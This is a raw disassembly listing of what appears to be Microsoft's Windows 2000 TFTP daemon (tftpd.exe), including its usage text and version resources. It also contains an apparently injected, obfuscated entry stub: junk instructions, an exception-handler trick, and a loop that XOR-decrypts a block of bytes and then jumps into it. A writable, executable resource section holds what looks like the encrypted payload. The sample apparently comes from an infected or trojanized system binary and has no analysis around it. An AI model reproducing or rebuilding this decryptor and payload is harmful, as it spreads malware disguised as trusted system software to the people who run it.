push eax ; lpDst
push ebx ; lpSrc
call ds:ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA
test eax, eax
jnz short loc_1003952
push 57h
jmp short loc_10039CA
; ---------------------------------------------------------------------------
loc_1003952: ; CODE XREF: sub_1003910+3Cj
mov ecx, eax
lea esi, [esp+204h+Dst]
mov edi, ebx
or edx, 0FFFFFFFFh
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebx
mov ecx, edx
repne scasb
not ecx
dec ecx
cmp byte ptr dword_1005E07[ecx], 2Fh
lea eax, dword_1005E07[ecx]
jnz short loc_1003986
mov byte ptr [eax], 5Ch
loc_1003986: ; CODE XREF: sub_1003910+71j
cmp byte ptr [eax], 5Ch
jz short loc_10039B7
cmp ecx, ebp
jnb short loc_10039B7
mov edi, offset asc_100155C ; "\\"
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
mov ecx, edx
repne scasb
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd
mov ecx, ebp
and ecx, 3
rep movsb
loc_10039B7: ; CODE XREF: sub_1003910+79j
; sub_1003910+7Dj
mov edi, ebx
mov ecx, edx
xor eax, eax
push 1
repne scasb
not ecx
dec ecx
mov dword_1005FFC, ecx
loc_10039CA: ; CODE XREF: sub_1003910+40j
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 1F4h
retn
sub_1003910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10039D6 proc near ; CODE XREF: sub_1002F31+148p
; sub_1002F31+159p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
mov al, [esi]
test al, al
jz short loc_1003A2E
cmp al, 2Ah
jz short loc_1003A04
cmp al, 3Fh
jz short loc_10039F7
mov ecx, [ebp+arg_4]
cmp al, [ecx]
jnz short loc_1003A25
inc ecx
push ecx
jmp short loc_1003A01
; ---------------------------------------------------------------------------
loc_10039F7: ; CODE XREF: sub_10039D6+14j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jz short loc_1003A25
inc eax
push eax
loc_1003A01: ; CODE XREF: sub_10039D6+1Fj
inc esi
jmp short loc_1003A1B
; ---------------------------------------------------------------------------
loc_1003A04: ; CODE XREF: sub_10039D6+10j
mov edi, [ebp+arg_4]
lea eax, [esi+1]
push edi
push eax
call sub_10039D6
test eax, eax
jnz short loc_1003A29
cmp [edi], al
jz short loc_1003A25
inc edi
push edi
loc_1003A1B: ; CODE XREF: sub_10039D6+2Cj
push esi
call sub_10039D6
test eax, eax
jnz short loc_1003A29
loc_1003A25: ; CODE XREF: sub_10039D6+1Bj
; sub_10039D6+27j ...
xor eax, eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A29: ; CODE XREF: sub_10039D6+3Dj
; sub_10039D6+4Dj
push 1
pop eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A2E: ; CODE XREF: sub_10039D6+Cj
mov ecx, [ebp+arg_4]
xor eax, eax
cmp [ecx], al
setz al
loc_1003A38: ; CODE XREF: sub_10039D6+51j
; sub_10039D6+56j
pop edi
pop esi
pop ebp
retn 8
sub_10039D6 endp
; [00000006 BYTES: COLLAPSED FUNCTION _chkstk. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NotifyAddrChange. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetIpAddrTable. PRESS KEYPAD "+" TO EXPAND]
db 87h, 0DBh
; ---------------------------------------------------------------------------
cmc
clc
push ebp
mov ebp, esp
call sub_1003A6B
nop
xchg ebx, ebx
call sub_1003B3F
xchg ebx, ebx
jmp loc_1003ACB
; =============== S U B R O U T I N E =======================================
sub_1003A6B proc near ; CODE XREF: .text:01003A57p
push dword ptr fs:0
mov fs:0, esp
mov ds:dword_1003B29, ebp
stc
stc
mov ecx, ecx
mov ecx, ecx
xor edx, edx
push edx
push 80000000h
push 4000h
push edx
push edx
push edx
push edx
push 4
push edx
push 8 ; lpHandlerProc
push 200h ; lpServiceName
call ds:RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA
xor ebx, ebx
push ebx
push ebx
push 1
push ebx
push 10000h
push ebx
push 2000h
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx ; lpCriticalSection
call ds:EnterCriticalSection
loc_1003ACB: ; CODE XREF: .text:01003A66j
clc
stc
nop
sub eax, eax
loc_1003AD0: ; CODE XREF: sub_1003A6B+6Bj
dec al
or al, al
jz short loc_1003ADA
jnz short loc_1003AD0
jmp short near ptr sub_1003B3F+2
; ---------------------------------------------------------------------------
loc_1003ADA: ; CODE XREF: sub_1003A6B+69j
sub ebx, ebx
sub ecx, ecx
xchg ebx, ebx
xchg ebx, ebx
xchg ebx, ebx
jmp short $+2
mov cl, 2
nop
clc
loc_1003AEA: ; CODE XREF: sub_1003A6B+84j
lea ebx, [ebx+1]
clc
dec ecx
jnz short loc_1003AEA
xchg ebx, ebx
call loc_1003AFA
clc
stc
sub_1003A6B endp ; sp-analysis failed
loc_1003AFA: ; CODE XREF: sub_1003A6B+88p
pop edx
stc
sub edx, 0FFFFC6F8h
push edx
xor esi, esi
xor esi, 2ABAh
stc
cld
loc_1003B0D: ; CODE XREF: .text:01003B23j
mov al, [edx]
nop
xchg ebx, ebx
cld
mov ecx, ecx
stc
xor ax, bx
stc
nop
mov [edx], al
nop
inc edx
dec esi
clc
or esi, esi
jnz short loc_1003B0D
pop edx
xchg ebx, ebx
; ---------------------------------------------------------------------------
db 0BDh
dword_1003B29 dd 238BFF7Ah ; ---------------------------------------------------------------------------
clc
jmp short $+2
mov ebx, [ebp-8]
mov fs:0, ebx
nop
leave
cld
jmp edx
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_1003B3F proc near ; CODE XREF: .text:01003A5Fp
; sub_1003A6B+6Dj
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_1003B3F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
cld
stc
inc dword ptr [ebx+45890CC4h]
fcom qword ptr [eax-1]
adc eax, offset exit
jmp short loc_1003B80
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-30h], ecx
push eax
push ecx
call _XcptFilter ; _XcptFilter
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov edx, [ebp-30h]
push edx
call ds:_exit ; _exit
; ---------------------------------------------------------------------------
loc_1003B80: ; CODE XREF: .text:01003B5Cj
add esp, 4
mov dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp ds:_initterm
; ---------------------------------------------------------------------------
align 10h
push 30000h
push 10000h
call _controlfp ; _controlfp
add esp, 8
retn
; ---------------------------------------------------------------------------
align 10h
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
retn
; ---------------------------------------------------------------------------
align 10h
jmp ds:_except_handler3
; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS KEYPAD "+" TO EXPAND]
dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h
dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch
dd 5 dup(0)
dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0
dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0
dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah
dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h
dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h
dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0
dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah
dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch
dd 80000002h, 80000037h, 80000017h, 80000014h, 0
dd 417Ch, 4190h, 0
dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h
dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0
dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp db 'WSAGetOverlappedResult',0
align 4
a2 db '2',0
aWsarecvfrom db 'WSARecvFrom',0
dw 0Fh
aWsacloseevent db 'WSACloseEvent',0
db '=',0
aWsasocketa db 'WSASocketA',0
align 10h
aWs2_32_dll db 'WS2_32.dll',0
align 4
aM db 'Œ',0
aExitprocess db 'ExitProcess',0
dw 12Dh
aGetlasterror db 'GetLastError',0
align 2
dw 2FDh
aWaitforsingleo db 'WaitForSingleObject',0
a4 db '4',0
aCreateeventa db 'CreateEventA',0
align 10h
db 0C5h ; Å
db 1, 49h, 6Eh
aItializecritic db 'itializeCriticalSection',0
dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
dw 1BAh
aHeapfree db 'HeapFree',0
align 2
dw 1Eh
aClosehandle db 'CloseHandle',0
aO db 'o',0
aEntercriticals db 'EnterCriticalSection',0
align 4
retf
; ---------------------------------------------------------------------------
db 1, 49h, 6Eh
aTerlockedincre db 'terlockedIncrement',0
align 4
db 0FBh ; û
db 2, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 1B4h
aHeapalloc db 'HeapAlloc',0
dw 252h
aResetevent db 'ResetEvent',0
align 10h
retn
; ---------------------------------------------------------------------------
db 2, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 0D8h ; Ø
db 2, 54h, 72h
aYentercritical db 'yEnterCriticalSection',0
dw 2C5h
aSuspendthread db 'SuspendThread',0
dw 254h
aResumethread db 'ResumeThread',0
db 0, 90h, 2
aSetevent db 'SetEvent',0
align 2
dw 29Ch
aSetlasterror db 'SetLastError',0
align 2
aZ db 'Z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 12Fh
aGetlocaltime db 'GetLocalTime',0
align 2
aP db '',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
aKernel32_dll db 'KERNEL32.dll',0
align 10h
db 0E5h ; å
db 1, 53h, 74h
aArtservicectrl db 'artServiceCtrlDispatcherA',0
dw 1DFh
aSetservicestat db 'SetServiceStatus',0
align 2
dw 1B9h
aRegisterservic db 'RegisterServiceCtrlHandlerA',0
db 84h ; „
db 1, 52h, 65h
aGclosekey db 'gCloseKey',0
dw 1A7h
aRegqueryvaluee db 'RegQueryValueExA',0
align 2
dw 19Dh
aRegopenkeyexa db 'RegOpenKeyExA',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 10h
db 50h ; P
db 2, 52h, 74h
aLregisterwait db 'lRegisterWait',0
dw 184h
aRtlcreatetimer db 'RtlCreateTimer',0
align 4
db 85h ; …
db 1, 52h, 74h
aLcreatetimerqu db 'lCreateTimerQueue',0
dw 42Eh
a_chkstk db '_chkstk',0
db 0A1h ; ¡
db 1, 52h, 74h
aLderegisterwai db 'lDeregisterWaitEx',0
dw 433h
a_itoa db '_itoa',0
dw 450h
aAtoi db 'atoi',0
align 2
dw 43Dh
a_stricmp db '_stricmp',0
align 2
dw 46Dh
aMemmove db 'memmove',0
dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h
dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h
dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h
dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh
dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch
dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh
dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h
dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh
dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0)
_text ends
; Section 2. (virtual address 00005000)
; Virtual size : 000012DC ( 4828.)
; Section size in file : 00000E00 ( 3584.)
; Offset to raw data for section: 00003A00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 1005000h
dd 4 dup(0)
asc_1005010 db ' ================================================================'
; DATA XREF: .text:010015BDo
db '======== ',0Ah
db 'Abstract: '
db ' ',0Ah
db ' This implements an RFC 783 tftp daemon. '
db ' ',0Ah
db ' It listens on port 69 for requests '
db ' ',0Ah
db ' and spawns a thread to process each request. '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'TFTPD USAGE and Installation: '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' md d:/tftpd (the StartDirec'
db 'tory). ',0Ah
db ' copy //MohsinA_p90/test/tftpd.exe . '
db ' ',0Ah
db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path'
db '). ',0Ah
db ' sc query tftpd (check if insta'
db 'lled). ',0Ah
db ' '
db ' ',0Ah
db 'Start: '
db ' ',0Ah
db ' sc start tftpd -f (creates a log '
db 'file). ',0Ah
db 'or sc start tftpd '
db ' ',0Ah
db 'or net start tftpd '
db ' ',0Ah
db 'or sc start tftpd [-dStartDirectory] [-e] [-f] '
db ' ',0Ah
db ' Options: -e use event log. '
db ' ',0Ah
db ' -f log to file. '
db ' ',0Ah
db ' -dStartDirectory '
db ' ',0Ah
db 'Info: '
db ' ',0Ah
db ' sc interrogate tftpd (logs will be updated). '
db ' ',0Ah
db ' sc query tftpd Check whether running. '
db ' ',0Ah
db 'Stop: '
db ' ',0Ah
db ' sc stop tftpd '
db ' ',0Ah
db ' net stop tftpd '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'Variables that control what files can be read/written and by whom'
db ': ',0Ah
db ' StartDirectory - only files there will be accessible. '
db ' ',0Ah
db ' LogFile is created here. '
db ' ',0Ah
db ' ValidClients - Clients matching this ip address can read files'
db '. ',0Ah
db ' eg. you can set it to "157.55.8?.*" '
db ' ',0Ah
db ' ValidMasters - clients matching this can write and read file'
db 's. ',0Ah
db ' eg. you can set it to "" and no one can write'
db '. ',0Ah
db ' ValidReadFiles - only matching files will be served out, eg. "'
db 'r*.t?t"',0Ah
db ' ValidWriteFiles- only matching files will be accepted, eg. "w'
db '*.txt" ',0Ah
db ' '
db ' ',0Ah
db 'Client: '
db ' ',0Ah
db ' tftp [-i] servername {get|put} src_file dest_file '
db ' ',0Ah
db ' -i from binary mode, else ascii mode is used. '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' ================================================================'
db '======== ',0Ah,0
align 8
; char ServiceName[]
ServiceName db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo
; .data:off_1005CB0o
align 10h
off_1005CB0 dd offset ServiceName ; DATA XREF: .text:loc_1001646o
; "Tftpd"
dd offset sub_1001665
align 10h
off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
; "Error undefined"
dd offset aFileNotFound ; "File not found"
dd offset aAccessViolatio ; "Access violation"
dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
dd offset aUnknownTransfe ; "Unknown transfer ID"
dd offset aFileAlreadyExi ; "File already exists"
dd offset aNoSuchUser ; "No such user"
dd offset aOptionNegotiat ; "Option negotiation failure"
align 8
; BYTE Data
Data db 2Ah ; DATA XREF: sub_1002F31+143o
; sub_10037BF+87o
align 4
dd 0Dh dup(0)
; BYTE byte_1005D20
byte_1005D20 db 2Ah ; DATA XREF: sub_1002F31+154o
; sub_100333A+163o ...
align 4
dd 0Dh dup(0)
; BYTE byte_1005D58
byte_1005D58 db 2Ah ; DATA XREF: sub_1002F31+165o
; sub_10037BF+EAo
align 4
dd 0Dh dup(0)
; BYTE byte_1005D90
byte_1005D90 db 2Ah ; DATA XREF: sub_100333A+178o
; sub_10037BF+11Ao
align 4
dd 0Ch dup(0)
dd 1, 2 dup(0)
; FILE *File
File dd 0 ; DATA XREF: sub_1001665+1E5w
; sub_1001E73:loc_1001F36r ...
dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ...
; HANDLE hEvent
hEvent dd 0 ; DATA XREF: sub_1001665+84w
; sub_1001665+8Br ...
; HANDLE hObject
hObject dd 0 ; DATA XREF: sub_1001665+91w
; sub_1001E73:loc_1001F0Cr ...
align 8
; volatile LONG Addend
Addend dd 0 ; DATA XREF: sub_1001A91+26Eo
; sub_1001A91+2B3o
; HANDLE hHeap
hHeap dd 0 ; DATA XREF: sub_10019F0+29w
; sub_1001A1F+52r ...
dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ...
dword_1005DF4 dd 0 ; sub_1001A91+59w ...
dword_1005DF8 dd 0 ; sub_10018DB+EFr
dword_1005DFC dd 0 ; HANDLE Handle
Handle dd ? ; DATA XREF: sub_10018DB+F4o
; sub_1002219+D5o
db 3 dup(?)
dword_1005E07 dd ? ; sub_1003910+6Br ...
align 4
dd 7Ch dup(?)
dword_1005FFC dd ? dd 8 dup(?)
; struct _RTL_CRITICAL_SECTION stru_1006020
stru_1006020 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o
; .text:01001D78o ...
; void *Memory
Memory dd ? ; DATA XREF: sub_10018DB+2Ao
; sub_10018DB+34w ...
dword_100603C dd ? ; HANDLE hThread
hThread dd ? ; DATA XREF: HandlerProc:loc_1001E1Dr
; HandlerProc:loc_1001E35r
; SERVICE_STATUS_HANDLE hServiceStatus
hServiceStatus dd ? ; DATA XREF: sub_1001665+52w
; sub_1001665+DBr ...
dword_1006048 dd 6 dup(?) ; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o
; sub_1001A1F+2o ...
; LPVOID lpMem
lpMem dd ? ; DATA XREF: sub_10019F0o
; sub_10019F0+Fw ...
dword_100607C dd ? ; struct _RTL_CRITICAL_SECTION stru_1006080
stru_1006080 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do
; sub_100287F+1o ...
dword_1006098 dd ? ; sub_10018DB+25w ...
dword_100609C dd ? dword_10060A0 dd ? ; sub_10018DB+A2r ...
dd 7 dup(?)
; time_t dword_10060C0
dword_10060C0 dd ? ; sub_1001665:loc_1001857o
dword_10060C4 dd ? dword_10060C8 dd ? dword_10060CC dd ? dd 0Ch dup(?)
; struct _OVERLAPPED overlapped
overlapped _OVERLAPPED <?> ; DATA XREF: sub_10018DB+E0o
; sub_1002219:loc_10022E9o
align 10h
; struct _SERVICE_STATUS ServiceStatus
ServiceStatus _SERVICE_STATUS <?> ; DATA XREF: sub_1001665+10w
; sub_1001665+63o ...
align 10h
; struct WSAData stru_1006140
stru_1006140 WSAData <?> ; DATA XREF: sub_1001665+9Co
align 200h
_data ends
; Section 3. (virtual address 00007000)
; Virtual size : 00010400 ( 66560.)
; Section size in file : 0000B000 ( 45056.)
; Offset to raw data for section: 00004800
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_rsrc segment para public 'CODE' use32
assume cs:_rsrc
;org 1007000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
dd 3 dup(0)
dd 10000h, 10h, 80000018h, 3 dup(0)
dd 10000h, 1, 80000030h, 3 dup(0)
dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h
dd 5F004Eh, 4E0049h, 4F0046h, 0
dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
dd 3Fh, 0
dd 40004h, 1, 3 dup(0)
dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h
dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
dd 65006Dh, 0
aMicrosoftCorpo:
unicode 0, <Microsoft Corporation>,0
aR:
unicode 0, <r%>
dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h
dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
unicode 0, <TCP/IP Trivial file transfer daemon.>,0
align 4
a8 db '8',0
dw 0Ch
dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh
dd 0
a5_00_2134_1:
unicode 0, <5.00.2134.1>,0
a4_0:
unicode 0, <4>
dw 0Ah
dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h
dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h
dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh
dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h
dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h
dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0
align 4
db '<',0
dw 0Ch
dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h
dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h
dd 6F0066h, 0
dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
dd 6E006Fh, 0
dd 4B00409h, 0Bh dup(0)
dd 20202EAh, 689FE02h, 0A98A8926h, 8B02022Bh, 230F19Ah
dd 2E38302h, 89024202h, 7606265Eh, 0B28B5B2Eh, 20230F5h
dd 2BAD8A88h, 0BA8B0202h, 20230F9h, 76EAFB82h, 0B39A890Ah
dd 0E902022Bh, 0B28A8908h, 8902022Bh, 89001B5Eh, 0EA895719h
dd 6266E83h, 2023BB7h, 1207EF83h, 7E890212h, 0B78F0626h
dd 2123BBEh, 202FCBBh, 0DA6F102h, 0CB87C302h, 0CA810777h
dd 832CCFFDh, 0FDF202E1h, 4C7983FDh, 716B6A56h, 0E9830A76h
dd 2020302h, 0C189ED77h, 893E4101h, 83647A52h, 7747523Ah
dd 89D101EBh, 48892270h, 53F1011Ah, 64C101AFh, 76007A83h
dd 830B7752h, 616D077Ah, 7766643h, 0E95BE8E0h, 260E2B29h
dd 5B267089h, 0B50DF101h, 78894C06h, 89F9011Eh, 0F1018536h
dd 1335878Fh, 8F8F0212h, 2121322h, 0E5528964h, 45E9D3FDh
dd 3BB28789h, 2270212h, 76024202h, 0B6B78F1Dh, 0AF02123Bh
dd 6267E89h, 0FA9F89A9h, 0A6021240h, 4102BF89h, 0B7890212h
dd 21240FEh, 23C2C15Fh, 2A7BBB51h, 0D8890202h, 0D1281232h
dd 8403C281h, 0E0D484DDh, 2AC159F1h, 4202022Fh, 0B1D3EE9Eh
dd 2C1F4AFAh, 0C25DEE3Dh, 0CB2CFD48h, 0D28AD050h, 427BEA97h
dd 0B0738251h, 27866376h, 0ACC9F488h, 116E43FBh, 47A154B6h
dd 42FA3C5Dh, 0C2A48F2Dh, 36034587h, 0B653E30Dh, 2D907046h
dd 3DCF82CFh, 18DB8BA9h, 2A189207h, 42DA0138h, 469B4230h
dd 0BDA9FD2Bh, 98857D61h, 0C7D212CDh, 43098D6Dh, 0C24E026Ch
dd 0D21DAD94h, 56BF03EBh, 807C375Ah, 0CFB80277h, 0C210970Eh
dd 574A876Ch, 0C597828Dh, 57B6A7DCh, 41F88209h, 52AF7A7Eh
dd 67F78295h, 4226172Bh, 42550111h, 42B212C6h, 16E944DAh
dd 432E125Dh, 0FCB63780h, 0F72702DBh, 0C2749771h, 0FFABCB74h
dd 0C2F0BC6Bh, 0CF4A2272h, 9D5C827Eh, 7CB497C0h, 2A1982E9h
dd 961E0DA4h, 49548275h, 27C1670h, 0C2B841F2h, 0CB9A02A3h
dd 0D272E0E8h, 31166A2Fh, 0C2A282E9h, 7C689754h, 2C18275h
dd 40E88628h, 4F5782E1h, 52920216h, 7BD3095Dh, 42FE0ED9h
dd 0D2B86F58h, 0D7F7028Bh, 0C2249001h, 0A009A7E4h, 49906E52h
dd 717A686Fh, 57A1DB8Dh, 42FE1932h, 3E23293Ah, 0BC7A5502h
dd 0AA739E02h, 42E70204h, 0FCC2173Eh, 86E10293h, 0CDDC071Dh
dd 42DC9D7Bh, 0C2F215B9h, 42320311h, 0AA948231h, 42D702F7h
dd 0FCF2174Eh, 82D70263h, 0C08E0622h, 42A402EFh, 0C288EAF9h
dd 4220026Fh, 95086AE4h, 2A96038Dh, 0C28182A0h, 7C20979Ch
dd 0C894820Dh, 0BDBE03DFh, 0D246E00Ch, 423FEA5Bh, 931D8215h
dd 28B602D5h, 0C893DB91h, 0D7CD0839h, 0C2FCBCDBh, 0C16DF324h
dd 0D2560034h, 0C625024Bh, 0C2E48031h, 42A6042Fh, 8634CC81h
dd 0BD224E0Fh, 0D2E21C68h, 8C2B8FBFh, 0F158926Eh, 0A8A78FF2h
dd 73D492CBh, 377E91B9h, 41508273h, 522D1C8Eh, 46C382EDh
dd 428E00AFh, 0FCA607E2h, 32F5023Bh, 0C5410DE4h, 0C986129Eh
dd 0D27F84E4h, 4372FD23h, 0FBE80752h, 0C7F5028Fh, 0C228BCABh
dd 0CDFB72E4h, 0D28DD950h, 0B4FB8997h, 2130926Fh, 4383FD09h
dd 0FBC40742h, 0CFE5029Fh, 0C238BCB7h, 33150BE8h, 0B7210DC4h
dd 0AA6612BEh, 0C22083F9h, 7D96BF8Eh, 0D1782ADh, 9BA80215h
dd 411CF2C6h, 2B0011Ah, 0A8C37BB6h, 0CF4E6877h, 0D2055984h
dd 42CBBBF3h, 0C60182ADh, 0BDB1FC22h, 4FA3E4D6h, 42CA4FEFh
dd 69E282A5h, 0E94245EAh, 578D6613h, 42D23CC3h, 0C0F5E431h
dd 80BDA939h, 490D601Bh, 2ABA680Fh, 0C274F18Dh, 425CCEDCh
dd 0C29A469Ah, 42B202BBh, 932CE885h, 1220681Dh, 0FC1217F6h
dd 0C1F202DBh, 0DA0CC241h, 0C9260234h, 49E0E8D5h, 28E2680Fh
dd 905EE87Dh, 5A760255h, 0A8D8828Ah, 0BDF053BBh, 0C0C17D25h
dd 1D161208h, 0CD2F07A8h, 42930537h, 0C2F90F6Dh, 0FB0E123Fh
dd 0C2C88E2Fh, 0E779ED20h, 0D2446FE4h, 0C78B0237h, 0C2D096DBh
dd 16D2E25Ch, 3D56A237h, 7DF497E0h, 23D82C9h, 0AA4E77C4h
dd 0C234831Ah, 42F613FFh, 86D5D1D1h, 250760F6h, 0B445F01Dh
dd 258B6E66h, 2AFF82ACh, 426A07DBh, 805C37BAh, 0D7190217h
dd 0C2B0BC4Fh, 10F7FDD4h, 0A81C9203h, 0BDDC68FFh, 0D2A6002Ch
dd 4372BB7Bh, 0E9838235h, 66DA8B16h, 576FD5E5h, 42423CB5h
dd 678F741Eh, 42DE3D8Dh, 3DDFD6A9h, 5274C8FEh, 0B6C40725h
dd 0BC454481h, 3D6EF0A5h, 284A2617h, 3DD6E81Dh, 5280C04Ah
